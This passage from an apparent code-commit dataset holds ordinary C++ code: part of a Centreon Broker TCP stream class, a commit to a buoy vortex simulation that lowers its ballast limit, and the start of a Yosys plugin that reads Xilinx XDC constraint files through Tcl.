com::centreon::broker::tcp;\n\n\/**************************************\n*                                     *\n*           Public Methods            *\n*                                     *\n**************************************\/\n\n\/**\n *  Constructor.\n *\n *  @param[in] sock Socket used by this stream.\n *\/\nstream::stream(misc::shared_ptr<QTcpSocket> sock)\n  : _mutex(new QMutex),\n    _process_in(true),\n    _process_out(true),\n    _socket(sock),\n    _timeout(-1) {}\n\n\/**\n *  Constructor.\n *\n *  @param[in] sock  Socket used by this stream.\n *  @param[in] mutex Mutex used by this stream.\n *\/\nstream::stream(\n          misc::shared_ptr<QTcpSocket> sock,\n          misc::shared_ptr<QMutex> mutex)\n  : _mutex(mutex),\n    _process_in(true),\n    _process_out(true),\n    _socket(sock),\n    _timeout(-1) {}\n\n\/**\n *  Destructor.\n *\/\nstream::~stream() {\n  QMutexLocker lock(&*_mutex);\n  if (!_socket.isNull())\n    _socket->close();\n}\n\n\/**\n *  Enable or disable event processing.\n *\n *  @param[in] in  Set to true to enable input event processing.\n *  @param[in] out Set to true to enable output event processing.\n *\/\nvoid stream::process(bool in, bool out) {\n  _process_in = in;\n  _process_out = out;\n  return ;\n}\n\n\/**\n *  Read data from the socket.\n *\n *  @param[out] d Data read.\n *\/\nvoid stream::read(misc::shared_ptr<io::data>& d) {\n  d.clear();\n  QMutexLocker lock(&*_mutex);\n\n  \/\/ Check processing flags.\n  if (!_process_in)\n    throw (io::exceptions::shutdown(!_process_in, !_process_out)\n           << \"TCP stream is shutdown\");\n\n  \/\/ If data is already available, skip the waitForReadyRead() loop.\n  if (_socket->bytesAvailable() <= 0) {\n    while (1) {\n      bool ret;\n      if (!(ret = _socket->waitForReadyRead(\n                             (_timeout == -1)\n                             ? 200\n                             : _timeout))\n          \/\/ Standalone socket.\n          && ((_timeout != -1)\n              \/\/ Disconnected socket with no data.\n              || ((_socket->state()\n                   == QAbstractSocket::UnconnectedState)\n                  && (_socket->bytesAvailable() <= 0))))\n        throw (exceptions::msg() << \"TCP stream is disconnected\");\n      if (ret\n          || (_socket->error() != QAbstractSocket::SocketTimeoutError)\n          || (_socket->bytesAvailable() > 0))\n        break ;\n      else {\n        QWaitCondition cv;\n        cv.wait(&*_mutex, 1);\n      }\n      if (!_process_in)\n        throw (io::exceptions::shutdown(!_process_in, !_process_out)\n               << \"TCP stream is shutdown\");\n    }\n  }\n\n  char buffer[2048];\n  qint64 rb(_socket->read(buffer, sizeof(buffer)));\n  if (rb < 0)\n    throw (exceptions::msg() << \"TCP: error while reading: \"\n           << _socket->errorString());\n  misc::shared_ptr<io::raw> data(new io::raw);\n#if QT_VERSION >= 0x040500\n  data->append(buffer, rb);\n#else\n  data->append(QByteArray(buffer, rb));\n#endif \/\/ Qt version\n  d = data;\n  return ;\n}\n\n\/**\n *  Set connection timeout.\n *\n *  @param[in] msecs Timeout in ms.\n *\/\nvoid stream::set_timeout(int msecs) {\n  _timeout = msecs;\n  return ;\n}\n\n\/**\n *  Write data to the socket.\n *\n *  @param[in] d Data to write.\n *\n *  @return Number of events acknowledged.\n *\/\nunsigned int stream::write(misc::shared_ptr<io::data> const& d) {\n  \/\/ Check that data exists and should be processed.\n  if (!_process_out)\n    throw (io::exceptions::shutdown(!_process_in, !_process_out)\n             << \"TCP stream is shutdown\");\n  if (d.isNull())\n    return (1);\n\n  if (d->type() == io::events::data_type<io::events::internal, 1>::value) {\n    misc::shared_ptr<io::raw> r(d.staticCast<io::raw>());\n    logging::debug(logging::low) << \"TCP: write request of \"\n      << r->size() << \" bytes\";\n    QMutexLocker lock(&*_mutex);\n    qint64 wb(_socket->write(static_cast<char*>(r->QByteArray::data()),\n                             r->size()));\n    if ((wb < 0) || (_socket->state() == QAbstractSocket::UnconnectedState))\n      throw (exceptions::msg() << \"TCP: error while writing: \"\n             << _socket->errorString());\n    if (_socket->waitForBytesWritten(-1) == false)\n      throw (exceptions::msg() << \"TCP: error while sending data: \"\n             << _socket->errorString());\n  }\n  return (1);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <sailboat.h>\n#include \"buoy.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nBuoy::Buoy(int nb, double xb, double yb, double zb, double ub, double dt)\n{\n\n    this->dt = dt;\n\n    \/\/ id\n    n = nb;\n\n    \/\/ Position\n    x = xb;\n    y = yb;\n    z = zb;\n\n    Xdot[0] = 0;\n    Xdot[1] = 0;\n    Xdot[2] = 0;\n\n    Xdot2[0] = 0;\n    Xdot2[1] = 0;\n    Xdot2[2] = 0;\n\n    \/\/ Command\n    \/\/volBal = BUOY_CONTROL;\n    volBal = 0;\n    S = 1;\n\n    \/\/ Caracteristiques physiques\n    m = 100;\n    vol = 100;\n    rho_w=1.025;\n    mvol = m\/(vol-volBal); \/\/kg\/m³\n\n    \/\/ Lorentz variables\n    sigma = 10.0;\n    beta = 8.0\/3.0;\n    rho = 28;\n    k = 0.0;\n    delta = mvol\/rho_w; \/\/delta = rapport de la masse volumique de l'eau sur celui de la bouee\n    mu = 1.0; \/\/coefficient de resistance de Stokes\n    theta = 10;\n\n    phi_i = 1.0;\n    Ri = 100.0;\n\n    int i =0;\n    \/\/TODO : tourne a linfini\n    \/*\n    while (Xi[i]=!NULL)\n    {\n        double r = rand() % 200;\n        double ang = rand() % 200;\n        printf(\"rayon : %f angle : %f\\n\", r, ang);\n        Xi[i] = r*cos(314*ang);\n        Yi[i] = r*sin(314*ang);\n        i++;\n        printf(\"valeur de i :%i\\n\", i);\n    }\n    *\/\n   printf(\"appel dans le constructeur :%f\\n\", Xi[0]);\n    Xi[0] = 100;\n    Xi[1] = 100;\n    Xi[2] = -100;\n    Xi[3] = -100;\n\n    Yi[0] = 100;\n    Yi[1] = -100;\n    Yi[2] = -100;\n    Yi[3] = 100;\n\n}\n\nvoid Buoy::lorenz(void)\n{\n    Xdot[0] = sigma*(y-x)*dt;\n    Xdot[1] = (x*(rho-z)-y)*dt;\n    Xdot[2] = (k*(x*y-beta*z)+u);\n}\n\nvoid Buoy::sinLine(double simuTime)\n{\n    double depth = 40; \/\/ m\n    double freq = 0.05; \/\/ Hz\n    double speed = 10;  \/\/ m\/s\n    Xdot[0] = 0;      \/\/X\n    Xdot[1] = 0;      \/\/Y\n    Xdot[2] = speed*sin(2*M_PI*simuTime*freq); \/\/Z\n}\n\nvoid Buoy::pendulum(void)\n{\n    Xdot[0] = y;\n    Xdot[1] = -sin(x);\n    Xdot[2] = u;\n}\n\nvoid Buoy::stateEq(void)\n{\n    Xdot[0] = sin(0.001*(y+0.9*z));\n    Xdot[1] = -sin(0.001*(x+z));\n    Xdot[2] = u;\n    \n}\n\nvoid Buoy::setCommand(double ub)\n{\n    u = ub;\n}\n\nint Buoy::getNumber(void)\n{\n    return n;\n}\n\ndouble* Buoy::getPos(void)\n{\n    double* xd = new double[4];\n    xd[0] = sqrt(pow(Xdot[0],2.0)+pow(Xdot[1],2.0)+pow(Xdot[2],2.0));\n    xd[1] = x;\n    xd[2] = y;\n    xd[3] = z;\n    return xd;\n}\n\n\nvoid Buoy::eqParticuleSimple(void)\n{\n    vx = -2*sin(y);\n    vy = 2*sin(x);\n\n    Dx = -4*sin(x)*cos(y);\n    Dy = 4*sin(y)*cos(x);\n}\n\nvoid Buoy::eqParticule(void)\n{\n    double d2;\n    double dvxx, dvyx, dvxy, dvyy;\n    vx = 0;\n    vy = 0;\n    dvxx = 0;\n    dvyx = 0;\n    dvxy = 0;\n    dvyy = 0;\n\n    for (int i=0;i<4;i++)\n    {\n        d2 = (x-Xi[i])*(x-Xi[i])+(y-Yi[i])*(y-Yi[i]);\n\n        vx   += phi_i*2*y*(y-Yi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri);\n        vy   -= phi_i*2*x*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri);\n\n        dvxx -= phi_i*4*y*(y-Yi[i])*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri*Ri*Ri);\n        dvxy += 2*phi_i*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri)*((2*y-Yi[i])-2*y*(y-Yi[i])*(y-Yi[i]));\n        dvyx -= 2*phi_i*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri)*((2*x-Xi[i])-2*x*(x-Xi[i])*(x-Xi[i]));\n        dvyy += phi_i*4*x*(y-Yi[i])*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri*Ri*Ri);\n    }\n\n    Dx = vx*dvxx+vy*dvxy;\n    Dy = vx*dvyx+vy*dvyy;\n}\n\nvoid Buoy::vortex(void)\n{\n    \/\/Dx = vy*0.5*(1+sin(theta*z))*2*cos(y);\n    \/\/Dy = vx*0.5*(1+sin(theta*z))*2*cos(x);\n    eqParticule();\n    mvol = m\/(vol-volBal);\n    delta = mvol\/rho_w;\n    Xdot2[0] = delta * Dx - mu * (Xdot[0] - vx);\n    Xdot2[1] = Dy - mu * (Xdot[1] - vy);\n    Xdot2[2] = (m - (vol - volBal) * rho_w) * 9.81 - mu * Xdot[2];\n    printf(\"Buoy  mass : %f : vol : %f, volbal : %f, accel : %f \\n\",m,vol,volBal,Xdot2[2]);\n\n}\n\nvoid Buoy::rotation(void)\n{\n    double xd;\n    double yd;\n    xd = cos(theta*z)*vx-sin(theta*z)*vy;\n    yd = cos(theta*z)*vy+sin(theta*z)*vx;\n    vx = xd;\n    vy = yd;\n}\n\n\n\nvoid Buoy::clock(void)  \/\/ The model is described in \"L. Jaulin Modélisation et commande d'un bateau à voile, CIFA2004, Douz (Tunisie)\"\n{\n    \/\/ On met à jour la position de la bouee\n    \/\/ On travaille en dynamique donc pfd m*a = Somme(Forces)\n    vortex();\n    rotation();\n    Xdot[0] = Xdot[0]+dt*Xdot2[0];\n    Xdot[1] = Xdot[1]+dt*Xdot2[1];\n    Xdot[2] = Xdot[2]+dt*Xdot2[2];\n    x = x+dt*Xdot[0];\n    y = y+dt*Xdot[1];\n    z = z+dt*Xdot[2];\n    if (z<0)\n    {\n        z = 0;\n        Xdot[2] = 0;\n    }\n    \/\/TODO : mettre un min et un max\n    volBal = volBal+u*S*dt;\n    if(volBal<0){volBal = 0;}\n    else if(volBal>50){volBal = 50;}\n    printf(\"Buoy State %d : x : %f, y : %f, z : %f \\n\",n,x,y,z);\n    fflush(stdout);\n}\n\n<commit_msg>modification du volume de balast pour eviter de vouler trop vite: a corriger ulterieurement<commit_after>#include <sailboat.h>\n#include \"buoy.h\"\n#include <stdio.h>\n#include <stdlib.h>\n\nBuoy::Buoy(int nb, double xb, double yb, double zb, double ub, double dt)\n{\n\n    this->dt = dt;\n\n    \/\/ id\n    n = nb;\n\n    \/\/ Position\n    x = xb;\n    y = yb;\n    z = zb;\n\n    Xdot[0] = 0;\n    Xdot[1] = 0;\n    Xdot[2] = 0;\n\n    Xdot2[0] = 0;\n    Xdot2[1] = 0;\n    Xdot2[2] = 0;\n\n    \/\/ Command\n    \/\/volBal = BUOY_CONTROL;\n    volBal = 0;\n    S = 1;\n\n    \/\/ Caracteristiques physiques\n    m = 100;\n    vol = 100;\n    rho_w=1.025;\n    mvol = m\/(vol-volBal); \/\/kg\/m³\n\n    \/\/ Lorentz variables\n    sigma = 10.0;\n    beta = 8.0\/3.0;\n    rho = 28;\n    k = 0.0;\n    delta = mvol\/rho_w; \/\/delta = rapport de la masse volumique de l'eau sur celui de la bouee\n    mu = 1.0; \/\/coefficient de resistance de Stokes\n    theta = 10;\n\n    phi_i = 1.0;\n    Ri = 100.0;\n\n    int i =0;\n    \/\/TODO : tourne a linfini\n    \/*\n    while (Xi[i]=!NULL)\n    {\n        double r = rand() % 200;\n        double ang = rand() % 200;\n        printf(\"rayon : %f angle : %f\\n\", r, ang);\n        Xi[i] = r*cos(314*ang);\n        Yi[i] = r*sin(314*ang);\n        i++;\n        printf(\"valeur de i :%i\\n\", i);\n    }\n    *\/\n   printf(\"appel dans le constructeur :%f\\n\", Xi[0]);\n    Xi[0] = 100;\n    Xi[1] = 100;\n    Xi[2] = -100;\n    Xi[3] = -100;\n\n    Yi[0] = 100;\n    Yi[1] = -100;\n    Yi[2] = -100;\n    Yi[3] = 100;\n\n}\n\nvoid Buoy::lorenz(void)\n{\n    Xdot[0] = sigma*(y-x)*dt;\n    Xdot[1] = (x*(rho-z)-y)*dt;\n    Xdot[2] = (k*(x*y-beta*z)+u);\n}\n\nvoid Buoy::sinLine(double simuTime)\n{\n    double depth = 40; \/\/ m\n    double freq = 0.05; \/\/ Hz\n    double speed = 10;  \/\/ m\/s\n    Xdot[0] = 0;      \/\/X\n    Xdot[1] = 0;      \/\/Y\n    Xdot[2] = speed*sin(2*M_PI*simuTime*freq); \/\/Z\n}\n\nvoid Buoy::pendulum(void)\n{\n    Xdot[0] = y;\n    Xdot[1] = -sin(x);\n    Xdot[2] = u;\n}\n\nvoid Buoy::stateEq(void)\n{\n    Xdot[0] = sin(0.001*(y+0.9*z));\n    Xdot[1] = -sin(0.001*(x+z));\n    Xdot[2] = u;\n    \n}\n\nvoid Buoy::setCommand(double ub)\n{\n    u = ub;\n}\n\nint Buoy::getNumber(void)\n{\n    return n;\n}\n\ndouble* Buoy::getPos(void)\n{\n    double* xd = new double[4];\n    xd[0] = sqrt(pow(Xdot[0],2.0)+pow(Xdot[1],2.0)+pow(Xdot[2],2.0));\n    xd[1] = x;\n    xd[2] = y;\n    xd[3] = z;\n    return xd;\n}\n\n\nvoid Buoy::eqParticuleSimple(void)\n{\n    vx = -2*sin(y);\n    vy = 2*sin(x);\n\n    Dx = -4*sin(x)*cos(y);\n    Dy = 4*sin(y)*cos(x);\n}\n\nvoid Buoy::eqParticule(void)\n{\n    double d2;\n    double dvxx, dvyx, dvxy, dvyy;\n    vx = 0;\n    vy = 0;\n    dvxx = 0;\n    dvyx = 0;\n    dvxy = 0;\n    dvyy = 0;\n\n    for (int i=0;i<4;i++)\n    {\n        d2 = (x-Xi[i])*(x-Xi[i])+(y-Yi[i])*(y-Yi[i]);\n\n        vx   += phi_i*2*y*(y-Yi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri);\n        vy   -= phi_i*2*x*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri);\n\n        dvxx -= phi_i*4*y*(y-Yi[i])*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri*Ri*Ri);\n        dvxy += 2*phi_i*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri)*((2*y-Yi[i])-2*y*(y-Yi[i])*(y-Yi[i]));\n        dvyx -= 2*phi_i*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri)*((2*x-Xi[i])-2*x*(x-Xi[i])*(x-Xi[i]));\n        dvyy += phi_i*4*x*(y-Yi[i])*(x-Xi[i])*exp(-1*d2\/(Ri*Ri))\/(Ri*Ri*Ri*Ri);\n    }\n\n    Dx = vx*dvxx+vy*dvxy;\n    Dy = vx*dvyx+vy*dvyy;\n}\n\nvoid Buoy::vortex(void)\n{\n    \/\/Dx = vy*0.5*(1+sin(theta*z))*2*cos(y);\n    \/\/Dy = vx*0.5*(1+sin(theta*z))*2*cos(x);\n    eqParticule();\n    mvol = m\/(vol-volBal);\n    delta = mvol\/rho_w;\n    Xdot2[0] = delta * Dx - mu * (Xdot[0] - vx);\n    Xdot2[1] = Dy - mu * (Xdot[1] - vy);\n    Xdot2[2] = (m - (vol - volBal) * rho_w) * 9.81 - mu * Xdot[2];\n    \/\/ printf(\"Buoy  mass : %f : vol : %f, volbal : %f, accel : %f \\n\",m,vol,volBal,Xdot2[2]);\n\n}\n\nvoid Buoy::rotation(void)\n{\n    double xd;\n    double yd;\n    xd = cos(theta*z)*vx-sin(theta*z)*vy;\n    yd = cos(theta*z)*vy+sin(theta*z)*vx;\n    vx = xd;\n    vy = yd;\n}\n\n\n\nvoid Buoy::clock(void)  \/\/ The model is described in \"L. Jaulin Modélisation et commande d'un bateau à voile, CIFA2004, Douz (Tunisie)\"\n{\n    \/\/ On met à jour la position de la bouee\n    \/\/ On travaille en dynamique donc pfd m*a = Somme(Forces)\n    vortex();\n    rotation();\n    Xdot[0] = Xdot[0]+dt*Xdot2[0];\n    Xdot[1] = Xdot[1]+dt*Xdot2[1];\n    Xdot[2] = Xdot[2]+dt*Xdot2[2];\n    x = x+dt*Xdot[0];\n    y = y+dt*Xdot[1];\n    z = z+dt*Xdot[2];\n    if (z<0)\n    {\n        z = 0;\n        Xdot[2] = 0;\n    }\n    \/\/TODO : mettre un min et un max\n    volBal = volBal+u*S*dt;\n    if(volBal<0){volBal = 0;}\n    else if(volBal>5){volBal = 5;}  \n    \/\/ printf(\"Buoy State %d : x : %f, y : %f, z : %f \\n\",n,x,y,z);\n    \/\/ fflush(stdout);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  yosys -- Yosys Open SYnthesis Suite\n *\n *  Copyright (C) 2012  Clifford Wolf <clifford@clifford.at>\n *  Copyright (C) 2019  The Symbiflow Authors\n *\n *  Permission to use, copy, modify, and\/or distribute this software for any\n *  purpose with or without fee is hereby granted, provided that the above\n *  copyright notice and this permission notice appear in all copies.\n *\n *  THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n *  WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n *  MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n *  ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n *  WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n *  ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n *  OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *\n *  ---\n *\n *   XDC commands\n *\n *   This plugin operates on the existing design and modifies its structure\n *   based on the content of the XDC (Xilinx Design Constraints) file.\n *   Since the XDC file consists of Tcl commands it is read using Yosys's\n *   Tcl interpreter and processed by the new XDC commands imported to the\n *   Tcl interpreter.\n *\/\n#include <cassert>\n#include \"kernel\/register.h\"\n#include \"kernel\/rtlil.h\"\n#include \"kernel\/log.h\"\n#include \"libs\/json11\/json11.hpp\"\n#include \"..\/bank_tiles.h\"\n\nUSING_YOSYS_NAMESPACE\n\nPRIVATE_NAMESPACE_BEGIN\n\nstatic bool isInputPort(RTLIL::Wire* wire) {\n\treturn wire->port_input;\n}\nstatic bool isOutputPort(RTLIL::Wire* wire) {\n\treturn wire->port_output;\n}\n\nenum class SetPropertyOptions { INTERNAL_VREF, IOSTANDARD, SLEW, IN_TERM };\n\nconst std::unordered_map<std::string, SetPropertyOptions> set_property_options_map  = {\n\t{\"INTERNAL_VREF\", SetPropertyOptions::INTERNAL_VREF},\n\t{\"IOSTANDARD\", SetPropertyOptions::IOSTANDARD},\n\t{\"SLEW\", SetPropertyOptions::SLEW},\n\t{\"IN_TERM\", SetPropertyOptions::IN_TERM}\n};\n\nvoid register_in_tcl_interpreter(const std::string& command) {\n\tTcl_Interp* interp = yosys_get_tcl_interp();\n\tstd::string tcl_script = stringf(\"proc %s args { return [yosys %s {*}$args] }\", command.c_str(), command.c_str());\n\tTcl_Eval(interp, tcl_script.c_str());\n}\n\nstruct GetPorts : public Pass {\n\tGetPorts() : Pass(\"get_ports\", \"Print matching ports\") {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_ports <port_name> \\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Get matching ports\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Print the output to stdout too. This is useful when all Yosys is executed\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* design) YS_OVERRIDE\n\t{\n\t\tif (args.size() < 2) {\n\t\t\tlog_cmd_error(\"No port specified.\\n\");\n\t\t}\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tif (top_module == nullptr) {\n\t\t\tlog_cmd_error(\"No top module detected\\n\");\n\t\t}\n\t\t\/\/ TODO handle more than one port\n\t\tport_name = args.at(1);\n\t\tRTLIL::IdString port_id(RTLIL::escape_id(port_name));\n\t\tif (auto wire = top_module->wire(port_id)) {\n\t\t\tif (isInputPort(wire) || isOutputPort(wire)) {\n\t\t\t\tTcl_Interp *interp = yosys_get_tcl_interp();\n\t\t\t\tTcl_SetResult(interp, const_cast<char*>(port_name.c_str()), NULL);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tlog_warning(\"Couldn't find port %s\\n\", port_name.c_str());\n\t}\n\tstd::string port_name;\n};\n\nstruct GetIOBanks : public Pass {\n\tGetIOBanks(std::function<const BankTilesMap&()> get_bank_tiles)\n\t\t: Pass(\"get_iobanks\", \"Set IO Bank number\")\n\t\t, get_bank_tiles(get_bank_tiles) {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_iobanks <bank_number>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Get IO Bank number\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* ) YS_OVERRIDE {\n\t\tif (args.size() < 2) {\n\t\t\tlog_cmd_error(\"%s: Missing bank number.\\n\", pass_name.c_str());\n\t\t}\n\t\tauto bank_tiles = get_bank_tiles();\n\t\tif (bank_tiles.count(std::atoi(args[1].c_str())) == 0) {\n\t\t\tlog_cmd_error(\"%s:Bank number %s is not present in the target device.\\n\", args[1].c_str(), pass_name.c_str());\n\t\t}\n\n                Tcl_Interp *interp = yosys_get_tcl_interp();\n\t\tTcl_SetResult(interp, const_cast<char*>(args[1].c_str()), NULL);\n\t\tlog(\"%s\\n\", args[1].c_str());\n\t}\n\n\tstd::function<const BankTilesMap&()> get_bank_tiles;\n};\n\nstruct SetProperty : public Pass {\n\tSetProperty(std::function<const BankTilesMap&()> get_bank_tiles)\n\t\t: Pass(\"set_property\", \"Set a given property\")\n\t\t, get_bank_tiles(get_bank_tiles) {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    set_property PROPERTY VALUE OBJECT\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Set the given property to the specified value on an object\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* design) YS_OVERRIDE {\n\t\tif (design->top_module() == nullptr) {\n\t\t\tlog_cmd_error(\"No top module detected\\n\");\n\t\t}\n\n\t\tstd::string option(args[1]);\n\t\tif (set_property_options_map.count(option) == 0) {\n\t\t\tlog_warning(\"set_property: %s option is currently not supported\\n\", option.c_str());\n\t\t\treturn;\n\t\t}\n\n\t\tswitch (set_property_options_map.at(option)) {\n\t\t\tcase SetPropertyOptions::INTERNAL_VREF:\n\t\t\t\tprocess_vref(std::vector<std::string>(args.begin() + 2, args.end()), design);\n\t\t\t\tbreak;\n\t\t\tcase SetPropertyOptions::IOSTANDARD:\n\t\t\tcase SetPropertyOptions::SLEW:\n\t\t\tcase SetPropertyOptions::IN_TERM:\n\t\t\t\tprocess_port_parameter(std::vector<std::string>(args.begin() + 1, args.end()), design);\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tassert(false);\n\t\t}\n\t}\n\n\tvoid process_vref(std::vector<std::string> args, RTLIL::Design* design) {\n\t\tif (args.size() < 2) {\n\t\t\tlog_error(\"set_property INTERNAL_VREF: Incorrect number of arguments.\\n\");\n\t\t}\n\t\tint iobank = std::atoi(args[1].c_str());\n\t\tauto bank_tiles = get_bank_tiles();\n\t\tif (bank_tiles.count(iobank) == 0) {\n\t\t\tlog_cmd_error(\"set_property INTERNAL_VREF: Invalid IO bank.\\n\");\n\t\t}\n\n\t\tint internal_vref = 1000 * std::atof(args[0].c_str());\n\t\tif (internal_vref != 600 &&\n\t\t\t\tinternal_vref != 675 &&\n\t\t\t\tinternal_vref != 750 &&\n\t\t\t\tinternal_vref != 900) {\n\t\t\tlog(\"set_property INTERNAL_VREF: Incorrect INTERNAL_VREF value\\n\");\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Create a new BANK module if it hasn't been created so far\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tif (!design->has(ID(BANK))) {\n\t\t\tstd::string fasm_extra_modules_dir(proc_share_dirname() + \"\/plugins\/fasm_extra_modules\");\n\t\t\tPass::call(design, \"read_verilog \" + fasm_extra_modules_dir + \"\/BANK.v\");\n\t\t}\n\n\t\t\/\/ Set parameters on a new bank instance or update an existing one\n\t\tchar bank_cell_name[16];\n\t\tsnprintf(bank_cell_name, 16, \"\\\\bank_cell_%d\", iobank);\n\t\tRTLIL::Cell* bank_cell = top_module->cell(RTLIL::IdString(bank_cell_name));\n\t\tif (!bank_cell) {\n\t\t\tbank_cell = top_module->addCell(RTLIL::IdString(bank_cell_name), ID(BANK));\n\t\t}\n\t\tbank_cell->setParam(ID(FASM_EXTRA), RTLIL::Const(\"INTERNAL_VREF\"));\n\t\tbank_cell->setParam(ID(NUMBER), RTLIL::Const(iobank));\n\t\tbank_cell->setParam(ID(INTERNAL_VREF), RTLIL::Const(internal_vref));\n\t}\n\n\tvoid process_port_parameter(std::vector<std::string> args, RTLIL::Design* design) {\n\t\tif (args.size() < 1) {\n\t\t\tlog_error(\"set_property: Incorrect number of arguments.\\n\");\n\t\t}\n\t\tstd::string parameter(args.at(0));\n\t\tif (args.size() < 3) {\n\t\t\tlog_error(\"set_property %s: Incorrect number of arguments.\\n\", parameter.c_str());\n\t\t}\n\t\tstd::string port(args.at(2));\n\t\tstd::string value(args.at(1));\n\t\tRTLIL::Module* top_module = design->top_module();\n\t\tRTLIL::IdString port_id(RTLIL::escape_id(port));\n\t\tfor (auto cell_obj : top_module->cells_) {\n\t\t\tRTLIL::Cell* cell = cell_obj.second;\n\t\t\tRTLIL::IdString cell_id = cell_obj.first;\n\t\t\tfor (auto connection : cell->connections_) {\n\t\t\t\tif (connection.second.is_wire()) {\n\t\t\t\t\tRTLIL::Wire* cell_wire = connection.second.as_wire();\n\t\t\t\t\tif (cell_wire == nullptr) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tif (cell_wire->name == port_id) {\n\t\t\t\t\t\tcell->setParam(RTLIL::IdString(RTLIL::escape_id(parameter)), RTLIL::Const(value));\n\t\t\t\t\t\tlog(\"Setting parameter %s to value %s on cell %s \\n\", parameter.c_str(), value.c_str(), cell_id.c_str());\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tstd::function<const BankTilesMap&()> get_bank_tiles;\n};\n\nstruct ReadXdc : public Frontend {\n\tReadXdc()\n\t       \t: Frontend(\"xdc\", \"Read XDC file\")\n\t\t, GetIOBanks(std::bind(&ReadXdc::get_bank_tiles, this))\n\t\t, SetProperty(std::bind(&ReadXdc::get_bank_tiles, this)) {}\n\n\tvoid help() YS_OVERRIDE {\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"    read_xdc -part_json <part_json_filename> <filename>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Read XDC file.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::istream *&f, std::string filename, std::vector<std::string> args, RTLIL::Design*) YS_OVERRIDE {\n                if (args.size() < 2) {\n                        log_cmd_error(\"Missing script file.\\n\");\n\t\t}\n                Tcl_Interp *interp = yosys_get_tcl_interp();\n\t\tsize_t argidx = 1;\n\t\tbank_tiles.clear();\n\t\tif (args[argidx] == \"-part_json\" && argidx + 1 < args.size()) {\n\t\t\tbank_tiles = ::get_bank_tiles(args[++argidx]);\n\t\t\targidx++;\n\t\t}\n\t\textra_args(f, filename, args, argidx);\n\t\tstd::string content{std::istreambuf_iterator<char>(*f), std::istreambuf_iterator<char>()};\n\t\tlog(\"%s\\n\", content.c_str());\n                if (Tcl_EvalFile(interp, args[argidx].c_str()) != TCL_OK) {\n                        log_cmd_error(\"TCL interpreter returned an error: %s\\n\", Tcl_GetStringResult(interp));\n\t\t}\n\t}\n\tconst BankTilesMap& get_bank_tiles() {\n\t\treturn bank_tiles;\n\t}\n\n\tBankTilesMap bank_tiles;\n\tstruct GetPorts GetPorts;\n\tstruct GetIOBanks GetIOBanks;\n\tstruct SetProperty SetProperty;\n} ReadXdc;\n\nstruct GetBankTiles : public Pass {\n\tGetBankTiles()\n\t       \t: Pass(\"get_bank_tiles\", \"Inspect IO Bank tiles\") {\n\t\tregister_in_tcl_interpreter(pass_name);\n\t}\n\n\tvoid help() YS_OVERRIDE\n\t{\n\t\t\/\/   |---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|---v---|\n\t\tlog(\"\\n\");\n\t\tlog(\"   get_bank_tiles <part_json_file>\\n\");\n\t\tlog(\"\\n\");\n\t\tlog(\"Inspect IO Bank tiles for the specified part based on the provided JSON file.\\n\");\n\t\tlog(\"\\n\");\n\t}\n\n\tvoid execute(std::vector<std::string> args, RTLIL::Design* ) 